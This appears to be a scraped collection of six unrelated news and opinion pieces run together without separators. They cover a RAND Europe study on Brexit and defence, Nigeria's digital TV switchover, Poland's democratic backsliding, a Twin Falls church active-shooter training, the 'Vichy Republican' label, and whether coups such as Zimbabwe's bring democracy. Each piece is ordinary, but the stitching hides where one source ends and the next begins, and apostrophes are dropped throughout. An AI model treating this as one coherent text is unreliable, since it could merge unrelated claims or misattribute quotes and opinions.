A wide range of defence and security issues are subject to potential change following Brexit and the UK-EU negotiations. Key themes include the impact on defence spending, industry and research; UK membership of EU bodies and mechanisms; the UK and Europes future defence capabilities, levels of ambition and global strategic roles, including in other multi-national institutions (e.g. UN, NATO); and the knock-on domestic effects, especially around Scottish independence and the Northern Irish peace process.

These questions have provoked deep uncertainty and speculation at a time when the UK, Europe and allies already find themselves in a challenging defence and security landscape. This includes the threat of a resurgent Russia, terrorism, the migrant crisis, conflict in the Middle East, alongside the disruptive effects of new technologies and actors in cyber and space.

Goals

RAND Europes study was not predictive, but, rather, the analysis sought to outline the spectrum of plausible outcomes (at a regional, national or international level) for what may occur in different related to defence and security.

At the heart of the study were two core research questions

What might be the defence and security implications of the UKs exit from the EU? How is Brexit likely to affect UK and European security, as well as international security more widely, including NATO, the US and the UKs other global allies?

Methodology

The studys research approach followed four stages:

Document review to set a baseline level of understanding of Britains role as a defence and security actor. This included consideration of the UKs role, responsibilities and capabilities, and its European and wider commitments and obligations. Sensitivity analysis to stress-test the baseline and develops hypotheses for those areas directly or indirectly affected by Brexit, considering the potential range of future outcomes. Expert engagement with over 50 senior experts across government, military, security, police, intelligence, industry and academia through interviews and a workshop to test hypotheses. Synthesis and analysis of the next steps for defence and security after Article 50 is triggered.

Key Observations

The report made a number of observations in relation to defence and security after the UK leaves the EU. Overall, Brexit may pose more immediate day-to-day challenges to UK and European security rather than defence. However, both are likely to be subject to long-term uncertainty and change:

Defence spending and industry. Brexit presents challenges for the UKs already ambitious defence equipment spending plans, especially given the fall in the value of sterling. UK defence firms are less vulnerable to major financial losses compared to other sectors in the event of a hard Brexit, given that EU sales account for only four per cent of turnover. However, Brexit raises wider questions about the UK's influence over EU defence industry consolidation and membership of the European Defence Agency.

Research and innovation. Another significant area for concern in the defence industry following Brexit is R&D and innovation. The UK risks reduced access to EU funds for research and influence over the research agenda. Since 2007, the UK has won a fifth of all EU research grants, amounting to 8 billion overall. The EU is also planning to invest hundreds of millions of euros in new defence R&D.

European defence ambitions. Brexit could prove a catalyst for more ambitious EU defence integration, freed from the UKs veto. However, losing the UK entails a considerable diminution of collective EU defence capability, which some estimate will be reduced by a quarter. There are also wider practical, political and strategic challenges for the EU and NATO, and for bilateral defence cooperation such as the Anglo-French Lancaster House Treaty.

International sanctions. In the EU, the UK has a strong hand in supporting international sanctions. Brexit is likely to weaken the sanctions regime and strengthen the position of member states that support the relaxation of sanctions for political or economic ends.

Scotland and the nuclear deterrent. Brexit poses new challenges in relation to an independent Scotland, as Scottish voters support for remaining in the EU has reopened the independence debate. Scottish independence could pose practical, financial and political challenges in defence and security, with significant implications for the UK, EU and NATO  especially given the UK nuclear force is based in Scotland.

Northern Ireland and border security. The need to define new arrangements on the UKs border with the Republic of Ireland is likely to have a number of significant, practical, political and economic challenges. Northern Ireland benefits greatly from an open border and EU subsidies, including funds for the peace process. France and Spain may also revisit border arrangements at Calais and Gibraltar.

Continued UK-EU collaboration on security. There is a need for sustainable post-Brexit solutions in all the defence and security areas considered. This will require continued UK-EU collaboration, particularly in security, since both currently benefit from information-sharing, the work of joint bodies such as Europol, and the European Arrest Warrant.

Towards Brexit negotiations. The UK is often seen as a net contributor to Europes defence and security. This could result in a temptation for UK leaders to see this as a bargaining chip to leverage in Brexit talks. However, such an approach risks alienating EU partners and damaging the security of both sides. Equally, a punitive approach to Brexit by the EU could push away a close and crucial ally.

Defining future relations. Both sides risk becoming weaker and less secure if Brexit talks provoke a zero-sum approach to security and a messy divorce. Compromise and continued engagement between the UK and EU on defence and security will be important during negotiations to leave the EU.
Nigerias Kwara and Kaduna states are all set to switch from analogue to digital terrestrial broadcasting, the National Broadcasting Commission has announced.





Kwara State will switch to digital television transmission on 20 December, followed by Kaduna two days later. ITS and Pinnacle Broadcast will act as signal distributors in Kwara and Kaduna respectively.The phased digital switch on is aimed at achieving the one digitised state per each geo-political zone in Nigeria, agreed upon by stakeholders in the broadcasting industry, to gradually achieve digital terrestrial television (DTT) coverage across Nigeria, the commission said.Our goal is to enable the evolution of a digital television ecosystem that not only transforms television and broadcasting in general but also help bridge the digital divide, create jobs and grow our national economy, said Ishaq Modibbo Kawu Mallam Kawu, director general, National Broadcasting Commission. The DTT service will provide a mixture of local, regional and national television channels on the FreeTV bouquet, he added.
In a scene reminiscent of the Arab Spring, hundreds of Poles marched silently through Warsaws chilly October air to honor the sacrifice of Piotr Szczesny, who much like Mohamed Bouazizi in the events that led to revolution in Tunisia, set himself on fire to protest his governments increasingly authoritarian bent. The demonstrations continued last month when protesters took to the streets once again to show their defiance against new legislation that according to the European Union will undermine the judiciary and weaken the rule of law.



When Polands Law and Justice Party, or PiS, took power in 2015, it moved quickly to undermine democratic institutions under the guise of taking the country back from international influence. In fact, what theyve been doing is reshaping the country in their own nationalist image.



Since the fall of the Berlin wall, we have seen three waves of democracy movements. The first swept through Eastern Bloc countries such as East Germany, the Visegrad countries, and the Baltics in the late 80s and early 90s. In the early years of this century a new wave, commonly known as the Color Revolutions, sprung up in Serbia, Georgia, and Ukraine. Most recently, the Arab Spring spread across the authoritarian countries of the Middle East.



Today, however, we are seeing that same process move in reverse, and once again Poland sits at the epicenter of the movement. The painstaking work undertaken over the past quarter century to create a civil society with solid democratic institutions is now under siege from a populist movement that operates under the thin guise of what it calls traditional values. It is, in effect, a new transition -- and a worrying one at that.



It is our hope that Poland can become a model once again and point the way to defeating authoritarianism and protecting civil society. In fact, activists in the country have already made some important strides in that direction. To date, these efforts still fall short and must be expanded and strengthened in order to create sustainable change.



More specifically, we can point to four positive steps the opposition movement in Poland has taken:



1. Mobilization of Civil Society Outside the Political Process: Almost as soon as PiS assumed power, civil activists began to organize efforts to protect democratic institutions. The first, the Committee for the Defence of Democracy, was organized to protest the new regimes attempt to stack the Constitutional Court. Since then, others such as Citizens of the Polish Republic as well as various womens and environmental groups have joined the fray.



These groups power stems from their lack of affiliation with any political party, which adds to their legitimacy in the current climate of mistrust. Another important element is their focus on specific issues in which the PiS government has taken unpopular stands. Finally, these groups are based on values -- not personalities -- that the majority of Poles support.



2. Expanding the Battlefield



The second strategy thats proven effective is the leveraging of institutions outside the reach of the PiS government. These include international bodies such as the European Union, as well as non-governmental organizations and business groups inside of Poland. For example, EU criticism of judicial legislation helped lead to President Andrzej Dudas veto of two controversial new laws, while UNESCO urged an end to illegal logging activity in Bialowieza forest, a World Heritage site.



This, of course, is not a completely new strategy. Earlier movements such as Gandhis struggle for Indian independence and Nelson Mandelas African National Congress also worked hard to sway international opinion. Still, because Poland relies on many international institutions for its prosperity and security, these forces can be brought to bear far more quickly and with greater effect.



3. Defending Democratic Institutions



Another effective strategy of Polands opposition activists has been to focus their efforts on defending democratic institutions, which go to the heart of Polands identity as a modern nation. Positioning the Law and Justice party as undermining the legal infrastructure of the country has gained traction even with those who agree with many PiS policies.



Also, it should be noted, the role of democratic institutions is not to protect the majority, but the minority. So by choosing those institutions as a battleground Polands activists help to maintain and strengthen their freedom to protest.



4. Combining Protest With Action



Finally, while the public mobilization of street protests has been impressive, Polands activists have also made sure to pair those protests with concrete actions. For example, when the government proposed a new abortion law that would subject women who terminate their pregnancies to a five-year prison sentence, women took to the streets to protest, but they also initiated a one-day work strike.



Clearly some progress has been made, but crucial elements are still missing. The first is unity. While the individual activist groups have been effective in their own way, there has been little effort to join forces in collective action.



Second, while the opposition forces in Poland have been somewhat successful in defending democratic institutions, they have mostly been on defense, reacting to government actions they see as unjust. To create sustainable change, they must go on offense.



Last and most important is to develop an affirmative vision for the future. In Poland, a devout Catholic country, PiSs message of traditional values has resonance. What is the oppositions vision of tomorrow? They have made clear what they are against, but what positive reforms can they propose?



In the past, membership in the European Union and NATO proved to be a powerful raison d'etre for pro-democracy elements of Polish society. However, with the legitimacy of those institutions somewhat diminished by events in Hungary, Great Britain, and the United States, a new vision must be forged that captures the imagination of the Polish people.



This is not a uniquely Polish problem. In a number of Western countries today, democratic institutions are vulnerable to rising authoritarian sentiment amid political divisiveness and social disunity. Yet once again, Poland has the opportunity to pave the way.
TWIN FALLS  Churches should share their concerns and safety plans with each other and with law enforcement, police said during an active shooter training Monday.

It was the second time the Twin Falls Police Department has met publicly with local religious organizations this fall after leaders posed questions following church shootings across the nation. With more than 100 places of worship throughout the Magic Valley, law enforcement hoped to help religious organizations learn to identify, respond to and mitigate threats of violence.

Almost every workplace in Twin Falls has had a workplace violence issue in the past 10 years, Police Capt. Matthew Hicks said. The best practice for churches, he said, is to establish a zero-tolerance policy toward violence and threats of violence toward or by members.

There is no organization that is immune from this, whatsoever, Hicks said.

They should also have a system that trusts the instincts of members and empowers them to report suspicious or unusual behavior. One of Twin Falls major employers has a policy that prohibits employees from calling 911, Staff Sgt. Brent Wright said. This could be a major liability.

Police also stressed that communicating with law enforcement and other churches could help them identify trends and address issues.

Several dozen people attended either of two training workshops on Monday, but police also planned to host more Place of Worship Safety Training sessions at 1 p.m. and 6 p.m. Thursday inside the College of Southern Idahos Health Science and Human Services building.

Some churches are already developing safety plans and training for members. About half a dozen members of the Heritage Alliance Church planned to attend training Monday, said Jim Evans, the churchs senior pastor.

Learning to intervene when something doesnt seem right is a little difficult, Evans said.

When youre a faith-based organization, youre told not to be judgmental, he said. But you have to make a judgement call.

A couple of months ago, church members witnessed a man trying to break into a car, he said. The man was injured and disoriented, and they called police after one member approached him.

Im very glad they did, Evans said.

The man ended up getting medical help. Heritage Alliance Church has a safety program in place, but Evans said its good to get more training and repeat the information to members.

The first part of the police training Monday focused on recognizing potential threats. Common pre-indicators of violence shared by the U.S. Department of Homeland Security include a person:

Expressing suicidal tendencies

Talking about previous violent incidents

Having an unsolicited focus on dangerous weapons

Having paranoid thinking

Overreacting to workplace changes

Feeling depression or withdrawal

Having unstable, emotional responses

Feeling arrogant and supreme or powerless

Showing intense anger or hostility

Increasing their use of alcohol or drugs

Violating company policies

Having increased absenteeism

Exploiting or blaming others

Just because you display one or more of these behaviors doesnt mean youre going to become violent, Wright said.

Places of worship need to establish a baseline for normal behavior in their organizations, and use that to determine if there is a threat.

Churches can reach out to police with concerns using the email address wps@tfid.org.

If there is an immediate issue, they need to call our dispatch and have our officers respond immediately, Officer J.P. ODonnell said.

In the case of an active shooting, Wright recommended the run, hide, fight approach.

If you can get out, that is the preferred response, he said. Because you will survive if youre not there.
Vichy Republican? French City of Vichy Sues for Slander.

For the moment, no such headline has appeared in the French press. But if our chattering class continues to use the phrase -- used this week by George Will and seemingly coined by the filmmaker Ken Burns -- the Vichyssois might start to take exception. The moniker, they could justly claim, conceals as much as it reveals in the parallel between this American moment and what the French call les annees noires.



What Burns, Will, and Co. overlook is that the Vichy regime took power at a moment when Frances political, civil, and military institutions disintegrated under the hammer blows of the German blitzkrieg. Stunned by Frances sudden and seismic military defeat, even men who would become celebrated resistance fighters did not resist. For example, after his failed suicide in 1940, the iconic resistance leader Jean Moulin returned to his post as prefect and, for a few months, worked smoothly with the local German military authorities. The famed novelist Francois Mauriac, who subsequently became the voice of Catholic resistance, dismissed Charles de Gaulle as purely symbolic and impractical.



The writer Simone de Beauvoir rightly described this period of utter confusion and chaos as a temporal no-mans land. By contrast, the long 16 months of the primaries and presidential campaign offered a landscape the so-called Vichy Republicans had ample time to recognize. If we think of the GOP as a Maginot Line, Trump did not outflank it. Instead he asked for the keys and lumbered right through.



No less important, the motivations of French politicians who supported Philippe Petains assumption of power in 1940 differ considerably from Republican politicians who fell in with Trumps rise to power in 2016.



Unlike our former real estate and reality show star, Petain was a celebrated war hero who had positioned himself above parties and politics. In a word, to be a Petainist in 1940, unlike a Trumpista in 2016, did not initially mean what it eventually came to mean. Rather than a German collaborationist -- which he eventually revealed himself to be -- Petain first appeared to a traumatized nation as the guarantor of stability and honor. Tellingly, even certain Resistance leaders like the archconservative Henri Frenay, founder of Combat, remained Petainist long after they went underground, while leftwing intellectuals like Jean Paulhan insisted that Petain could be useful.



Now, these dramatically different contexts do not undermine Burns parallel. When he introduced the phrase Vichy Republican, many terrifying traits he saw in Trumpism seemed like a reprise of Vichy. Consider the incipient proto-fascism, tribalism, and anti-immigrant nativism that Trump has channeled and cheered, as well as the prospect of women losing authority over their own bodies and African Americans again asked to go to the back of the line. Events have since confirmed Burns take on the near future.



But along with those differences already cited, there remains one last crucial distinction between the two regimes and their respective enablers. The political scientist Stanley Hoffmann famously described Vichy as the revenge of minorities -- a motley collection of monarchists and traditionalists, anti-Semites and Catholics who had been sidelined by the 20th century. Of course, many of those who made the pilgrimage to Vichy, like Petains second-in-command Pierre Laval, were mere opportunists in search of a second act. Many others, however, were true believers who were committed to making their reactionary and repellent idea of France great again.



In this respect, the French bag of mixed nuts differs from the nuts now in charge of our country. The argument can be made, of course, that many of those who have rallied to Trump -- from coal miners to Christian evangelicals -- were marginalized during the Obama years. But the argument, while valid, goes only so far. Unlike those who rallied to Vichy, the most important minority represented by Trumps administration is our countrys one percent. In their way, they too want revenge, but in their lust to raze existing environmental and financial regulations what they mostly want is to become even richer.



This is where the Burns and Will comparison ultimately misleads. When I asked Robert Paxton, the worlds leading authority on Vichy France, what he thought about the phrase, he replied not much. At best, he said, it can be applied to the GOP only at the highest level of abstraction. Checking off the many historical elements that distinguish Vichy in 1940 from the District of Columbia in 2017, Paxton suggested a different historical parallel. Referring to the Nazi-installed puppet regime in Norway, he drily noted: Quisling Republicans is a term that works somewhat better.



Still, in practical terms, these historical comparisons do not get us very far. It is probably as pointless to appeal to the better angels of those driven by unspeakable ideologies as it is to those driven by unbound avarice. Rather than either Quisling Republicans or Vichy Republicans, future historians will just have to settle for Trump Republicans.
On Dec. 7, President Emmerson Mnangagwas government announced its first proposal to revive Zimbabwes economy. The national budget on offer followed the Nov. 16 coup that ousted longtime dictator Robert Mugabe. The 93-year-old strongman assumed control of Zimbabwe in 1980 and had expected his wife, Grace Mugabe, who is 40 years his junior, to succeed him as the countrys leader. He had recently fired Mnangagwa, who was his vice president, at the behest of his wife. This led to an alliance between Mnangagwa and the military, and triggered the recent coup.

Thus did Mugabes notorious reign dramatically end. The military went to great lengths to insist that what happened was not a coup. Since the end of the Cold War, theres been increased international pressure to act democratically in order to qualify for foreign aid. Mnangagwa appointed a new cabinet, complete with senior military figures in high profile positions. For some, the coup has been cause for optimism. British Foreign Secretary Boris Johnson calls it a moment of hope for Zimbabweans. And the new governments proactive efforts to re-engage foreign investors certainly give rise to a sense of hope, which has left people wondering if other African nations will try to rid themselves of their strongmen in the same way. This raises the question whether there is any such thing as a good coup -- a military intervention that ends an autocracy and leads to democratization. Data shows that while this outcome is possible, there is overwhelming evidence that it is rarely the case.



The number of coups against dictatorships that led to competitive elections has dramatically increased since the end of the Cold War, feeding the good coup hypothesis. The argument goes that coups -- traditionally seen as a sign of democratic failure -- can shock the system and open up opportunities for free and fair elections, and therefore are a tool for fostering democracy. In 2010, Nigerien troops unseated the countrys president, and coup leaders oversaw free and fair elections in 2011. Mali (1991) and Portugal (1974) share similar good stories. This has led to some scholars challenging the notion that coups are undemocratic and arguing that they can be weapons for good governance. However, empirically, while coups are not systematically correlated with democratization, they certainly are linked to higher repression against citizens.



In the case of successful coups in the past 30 years, regime change followed 90 percent of the time (the rest only saw a reshuffling of leadership within the same faction). Although some states have seen democratization, the more common outcome is one authoritarian government replacing another. In short, coups overwhelmingly lead to adverse regime change, but the link between coups and democratization is statistically insignificant. Commentators have been optimistic about good coups before -- for instance, in 2006 Thailand and 2015 Burundionly to be disappointed when countries with already-weak institutions fail to usher in democracy.



With brand new autocratic elites often come higher levels of repression -- an increased number of deaths and cases of violence caused by blatant disregard for human rights and stricter reporting standards. The majority of coups, whether successful or failed, lead to increased repression against citizens. A failed attempt to overthrow Turkish President Recep Tayyip Erdogan in 2016 saw the deaths of approximately 265 coup plotters and civilians. Insurrections in Guinea (2008), Algeria (1991), and Cote dIvoire (1994) show some of the worst cases of repression, accompanied by a complete disintegration of civil society that resulted in deadly civil conflict and political violence. All but one post-Cold War coup against a despot was followed by either an increase or no change in civilian deaths in the year following the incident, owing to state-sanctioned atrocities and some cases of pro-government violence. What does this mean for the average person living in such a country? Even if the coup itself was not bloody, the months following it will likely be.



Countries that have had coups are also significantly more likely to experience subsequent coups, a phenomenon known as the coup trap. The problem with fetishizing the dangerously idealistic and fallacious notion of a good coup is that it will probably create more chaos. The very small chance for democratization is almost certainly not worth the high chance of social unrest, instability, and civil war, which invariably will not foster a foundation for democracy. A good coup is a bad bet.



Coups have less to do with democracy, and more to do with power. Zimbabwean generals claim that their actions were motivated by altruistic reasons like preserving democracy. However, their call to return to normalcy has little to do with democracy, and more to do with the fact that Mugabe was listening to his generals less and to his wife more. After all, they did not yearn for democracy when Mugabe lost the presidential election in 2008, but clung to power all the same. Zimbabwes like most cases, shows that coups are simply the militarys way of protecting their own institutional interest, and not a sign of their genuine commitment to democracy.



Zimbabwes military is refusing to call this recent event a coup because it wishes to humor the international community -- but a coup nevertheless it is. Even when coups remove unpopular dictators like Mugabe, we must not forget recent history. After all, its only been six years since Egyptians jubilantly celebrated the removal of two tyrants from power -- Presidents Hosni Mubarak and Mohammed Morsi -- only to see that the military, with General Abdel al-Sisi in command, still has Egypt in a chokehold.



Lets hope that does not happen in Zimbabwe, but lets also not romanticize undemocratic military takeovers that, if anything, make life harder for the average person.



Deshani is an advocate for Young Voices, residing in Washington, D.C. She can be found on Twitter @dd_gunners. The views expressed are the author's own.
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